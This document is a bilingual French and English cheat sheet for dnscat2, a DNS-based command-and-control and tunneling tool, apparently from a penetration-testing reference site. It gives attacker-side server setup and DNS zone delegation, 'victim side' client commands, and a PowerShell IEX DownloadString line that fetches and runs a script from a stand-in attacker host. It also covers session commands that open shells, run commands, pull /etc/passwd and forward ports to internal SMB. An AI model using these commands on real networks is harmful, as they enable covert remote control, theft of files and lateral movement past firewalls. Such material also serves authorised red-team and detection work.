dnscat2
Outil de C2 et de tunneling basé sur DNS. Crée un canal de commande et contrôle chiffré via DNS : utile quand toute autre sortie est bloquée mais que le DNS résout encore. DNS-based C2 and tunneling tool. Creates an encrypted command-and-control channel over DNS — useful when all other egress is blocked but DNS resolves.
↗ https://github.com/iagox86/dnscat2Overview
dnscat2 creates an encrypted C2 channel using DNS queries. When firewall rules block all outbound traffic except DNS, dnscat2 tunnels commands and data through DNS TXT/CNAME/MX records. It requires either a real domain with NS records pointing to the attacker, or direct UDP connections on port 53.
Server Setup
# Install on attacker machine
git clone https://github.com/iagox86/dnscat2
cd dnscat2/server
gem install bundler
bundle install
Start server with a domain (NS record mode — most reliable) Requires: NS record for c2.attacker.com pointing to attacker’s IP
ruby dnscat2.rb c2.attacker.com
Direct UDP mode (no domain required — less reliable, client needs direct DNS access)
ruby dnscat2.rb --dns host=0.0.0.0,port=53,type=TXT
With secret key (prevents unauthorized connections)
ruby dnscat2.rb c2.attacker.com --secret=mysecretkey
Client (Victim Side)
Linux client
dnscat --dns domain=c2.attacker.com
With secret
dnscat --dns domain=c2.attacker.com --secret=mysecretkey
Direct UDP mode (when you can reach the attacker’s DNS directly)
dnscat --dns server=ATTACKER_IP,port=53,domain=c2.attacker.com
# PowerShell client (Windows — no binary needed)
# Invoke-PowerShellTcp from dnscat2/client/powershell/dnscat2.ps1
IEX (New-Object Net.WebClient).DownloadString('http://attacker/dnscat2.ps1')
Start-Dnscat2 -Domain c2.attacker.com -DNSServer ATTACKER_IP
DNS Zone Setup (for NS record mode)
# Add to DNS zone for attacker.com:
# c2 IN NS ns1.attacker.com.
# ns1 IN A ATTACKER_IP
Test DNS delegation is working:
dig @8.8.8.8 test.c2.attacker.com
→ → Should show a response from dnscat2 server
Server-Side Commands
dnscat2> sessions # List connected sessions
dnscat2> session -i 1 # Interact with session 1
dnscat2 (session 1)> shell # Open a shell
dnscat2 (session 1)> exec whoami # Execute command
dnscat2 (session 1)> download /etc/passwd /tmp/passwd # Download file
dnscat2 (session 1)> upload /local/file /remote/path # Upload file
dnscat2 (session 1)> listen 0.0.0.0:4444 10.10.10.5:445 # Port forward
dnscat2 (session 1)> ping # Check connection
dnscat2 (session 1)> help # Show available commands
Port Forwarding (Tunneling)
Forward local port 4444 to internal target 10.10.10.5:445 via DNS tunnel
dnscat2 (session 1)> listen 127.0.0.1:4444 10.10.10.5:445
Then connect to it locally
smbclient -L //127.0.0.1 -p 4444 -U user
Performance Notes
DNS tunneling is extremely slow — expect:
- Shell latency: 1-30 seconds per command
- Throughput: 1-10 KB/s
- Only use for command execution and small file transfers
Tips
- DNS tunneling works even in heavily restricted networks as long as recursive DNS resolves
- The
--secretoption is critical — without it, anyone can connect to your server - dnscat2 traffic looks like many DNS queries to unusual subdomains — easily detected with DNS monitoring
- For better performance when DNS isn’t the only option, prefer Chisel or ligolo-ng
Server commands reference
sessions List all sessions
session -i N Interact with session N
listen [local_addr:]port target_host:port Port forward
windows List windows (aliases for sessions)
In session:
shell Open command shell
exec CMD Execute single command
download REMOTE LOCAL Download file
upload LOCAL REMOTE Upload file
ping Test connectivity
suspend Background session
quit End session (kills implant)
help Help
Vue d’ensemble
dnscat2 crée un canal C2 chiffré en utilisant des requêtes DNS. Quand les règles de pare-feu bloquent tout le trafic sortant sauf le DNS, dnscat2 fait transiter les commandes et les données via des enregistrements DNS TXT/CNAME/MX. Il nécessite soit un vrai domaine avec des enregistrements NS pointant vers l’attaquant, soit des connexions UDP directes sur le port 53.
Mise en place du serveur
# Installer sur la machine attaquante
git clone https://github.com/iagox86/dnscat2
cd dnscat2/server
gem install bundler
bundle install
# Démarrer le serveur avec un domaine (mode enregistrement NS, le plus fiable)
# Nécessite : un enregistrement NS pour c2.attacker.com pointant vers l'IP de l'attaquant
ruby dnscat2.rb c2.attacker.com
# Mode UDP direct (aucun domaine requis, moins fiable, le client a besoin d'un accès DNS direct)
ruby dnscat2.rb --dns host=0.0.0.0,port=53,type=TXT
# Avec une clé secrète (empêche les connexions non autorisées)
ruby dnscat2.rb c2.attacker.com --secret=mysecretkey
Client (côté victime)
# Client Linux
dnscat --dns domain=c2.attacker.com
# Avec le secret
dnscat --dns domain=c2.attacker.com --secret=mysecretkey
# Mode UDP direct (quand vous pouvez atteindre directement le DNS de l'attaquant)
dnscat --dns server=ATTACKER_IP,port=53,domain=c2.attacker.com
# Client PowerShell (Windows, aucun binaire nécessaire)
# Invoke-PowerShellTcp depuis dnscat2/client/powershell/dnscat2.ps1
IEX (New-Object Net.WebClient).DownloadString('http://attacker/dnscat2.ps1')
Start-Dnscat2 -Domain c2.attacker.com -DNSServer ATTACKER_IP
Configuration de la zone DNS (pour le mode enregistrement NS)
# Ajouter à la zone DNS pour attacker.com :
# c2 IN NS ns1.attacker.com.
# ns1 IN A ATTACKER_IP
Tester que la délégation DNS fonctionne :
dig @8.8.8.8 test.c2.attacker.com
→ Devrait afficher une réponse provenant du serveur dnscat2
Commandes côté serveur
dnscat2> sessions # Lister les sessions connectées
dnscat2> session -i 1 # Interagir avec la session 1
dnscat2 (session 1)> shell # Ouvrir un shell
dnscat2 (session 1)> exec whoami # Exécuter une commande
dnscat2 (session 1)> download /etc/passwd /tmp/passwd # Télécharger un fichier
dnscat2 (session 1)> upload /local/file /remote/path # Envoyer un fichier
dnscat2 (session 1)> listen 0.0.0.0:4444 10.10.10.5:445 # Redirection de port
dnscat2 (session 1)> ping # Vérifier la connexion
dnscat2 (session 1)> help # Afficher les commandes disponibles
Redirection de port (tunneling)
Rediriger le port local 4444 vers la cible interne 10.10.10.5:445 via le tunnel DNS
dnscat2 (session 1)> listen 127.0.0.1:4444 10.10.10.5:445
Puis s’y connecter localement
smbclient -L //127.0.0.1 -p 4444 -U user
Remarques sur les performances
Le tunneling DNS est extrêmement lent, attendez-vous à :
- Une latence de shell de 1 à 30 secondes par commande
- Un débit de 1 à 10 Ko/s
- N’utiliser cela que pour l’exécution de commandes et de petits transferts de fichiers
Conseils
- Le tunneling DNS fonctionne même dans des réseaux fortement restreints tant que la résolution DNS récursive fonctionne
- L’option
--secretest critique : sans elle, n’importe qui peut se connecter à votre serveur - Le trafic dnscat2 ressemble à de nombreuses requêtes DNS vers des sous-domaines inhabituels : facilement détectable avec une surveillance DNS
- Pour de meilleures performances quand le DNS n’est pas la seule option, préférez Chisel ou ligolo-ng
Référence des commandes serveur
sessions List all sessions
session -i N Interact with session N
listen [local_addr:]port target_host:port Port forward
windows List windows (aliases for sessions)
In session:
shell Open command shell
exec CMD Execute single command
download REMOTE LOCAL Download file
upload LOCAL REMOTE Upload file
ping Test connectivity
suspend Background session
quit End session (kills implant)
help Help